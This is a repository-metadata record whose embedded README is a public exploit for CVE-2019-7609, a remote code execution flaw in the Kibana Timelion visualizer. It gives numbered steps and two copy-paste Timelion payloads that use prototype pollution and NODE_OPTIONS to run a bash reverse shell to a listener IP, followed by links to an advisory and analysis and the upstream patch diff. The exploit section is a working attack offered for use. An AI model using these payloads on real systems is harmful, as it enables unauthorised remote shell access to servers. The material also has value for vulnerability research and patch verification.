{"id":18265888,"url":"https://github.com/mpgn/cve-2019-7609","last_synced_at":"2025-04-09T01:46:04.038Z","repository":{"id":76017612,"uuid":"216505019","full_name":"mpgn/CVE-2019-7609","owner":"mpgn","description":"RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer","archived":false,"fork":false,"pushed_at":"2019-12-20T14:28:44.000Z","size":6,"stargazers_count":54,"open_issues_count":1,"forks_count":12,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-02-14T20:32:05.359Z","etag":null,"topics":["kibana","rce"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mpgn.png","metadata":{"files":{"readme":"Readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-10-21T07:32:31.000Z","updated_at":"2024-10-04T07:05:52.000Z","dependencies_parsed_at":null,"dependency_job_id":"5e5ebf73-ed67-4221-8e10-85f46e39313c","html_url":"https://github.com/mpgn/CVE-2019-7609","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-7609","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-7609/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-7609/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mpgn%2FCVE-2019-7609/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mpgn","download_url":"https://codeload.github.com/mpgn/CVE-2019-7609/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247958707,"owners_count":21024827,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["kibana","rce"],"created_at":"2024-11-05T11:20:27.137Z","updated_at":"2025-04-09T01:46:04.013Z","avatar_url":"https://github.com/mpgn.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# CVE-2019-7609\n\n\u003e Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.\n\nFound by [@securityMB](https://twitter.com/securityMB)\n\n**Note**: I've tested this attack on Kibana 6.6.0 but it was no working... on my side only version of Kibana \u003c 6.6.0 are vulnerable as explain by @securityMB\n\n**EDIT 20/12/2019** : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html\n\n![kibana](https://user-images.githubusercontent.com/5891788/67185780-ddc1bd00-f3e6-11e9-8ea4-c2681c5e6b6c.png)\n\n## Exploit\n\n1. Open Kibana\n2. Past one of the following payload into the Timelion visualizer\n3. Click run\n3. On the left panel click on Canvas \n4. Your reverse shell should pop ! :)\n\n- payload by [@securityMB](https://twitter.com/securityMB)\n\n```javascript\n.es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"bash -i \u003e\u0026 /dev/tcp/192.168.0.136/12345 0\u003e\u00261\");process.exit()//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')\n```\n\n- payload by [@chybeta](https://twitter.com/chybeta)\n\n```javascript\n.es(*).props(label.__proto__.env.AAAA='require(\"child_process\").exec(\"bash -c \\'bash -i\u003e\u0026 /dev/tcp/127.0.0.1/6666 0\u003e\u00261\\'\");//')\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')\n```\n\n**Detailed analysis (english):**\n\n- https://slides.com/securitymb/prototype-pollution-in-kibana/#/\n\n**Security advisory:**\n\n- https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077\n\n## Patch\n\nhttps://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch\n```patch\nFrom 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001\nFrom: ppisljar \u003cpeter.pisljar@gmail.com\u003e\nDate: Wed, 16 Jan 2019 06:01:20 -0800\nSubject: [PATCH] fixes\n\n---\n .../core_plugins/timelion/server/series_functions/props.js      | 2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)\n\ndiff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js\nindex 81b74901d4db..80e9cafd6712 100644\n--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js\n+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js\n@@ -32,7 +32,7 @@ function unflatten(data) {\n     let prop = '';\n     let m;\n     while (m = regex.exec(p)) {\n-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));\n+      cur = (cur.hasOwnProperty(prop) \u0026\u0026 cur[prop]) || (cur[prop] = (m[2] ? [] : {}));\n       prop = m[2] || m[1];\n     }\n     cur[prop] = data[p];\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-7609","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmpgn%2Fcve-2019-7609","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmpgn%2Fcve-2019-7609/lists"}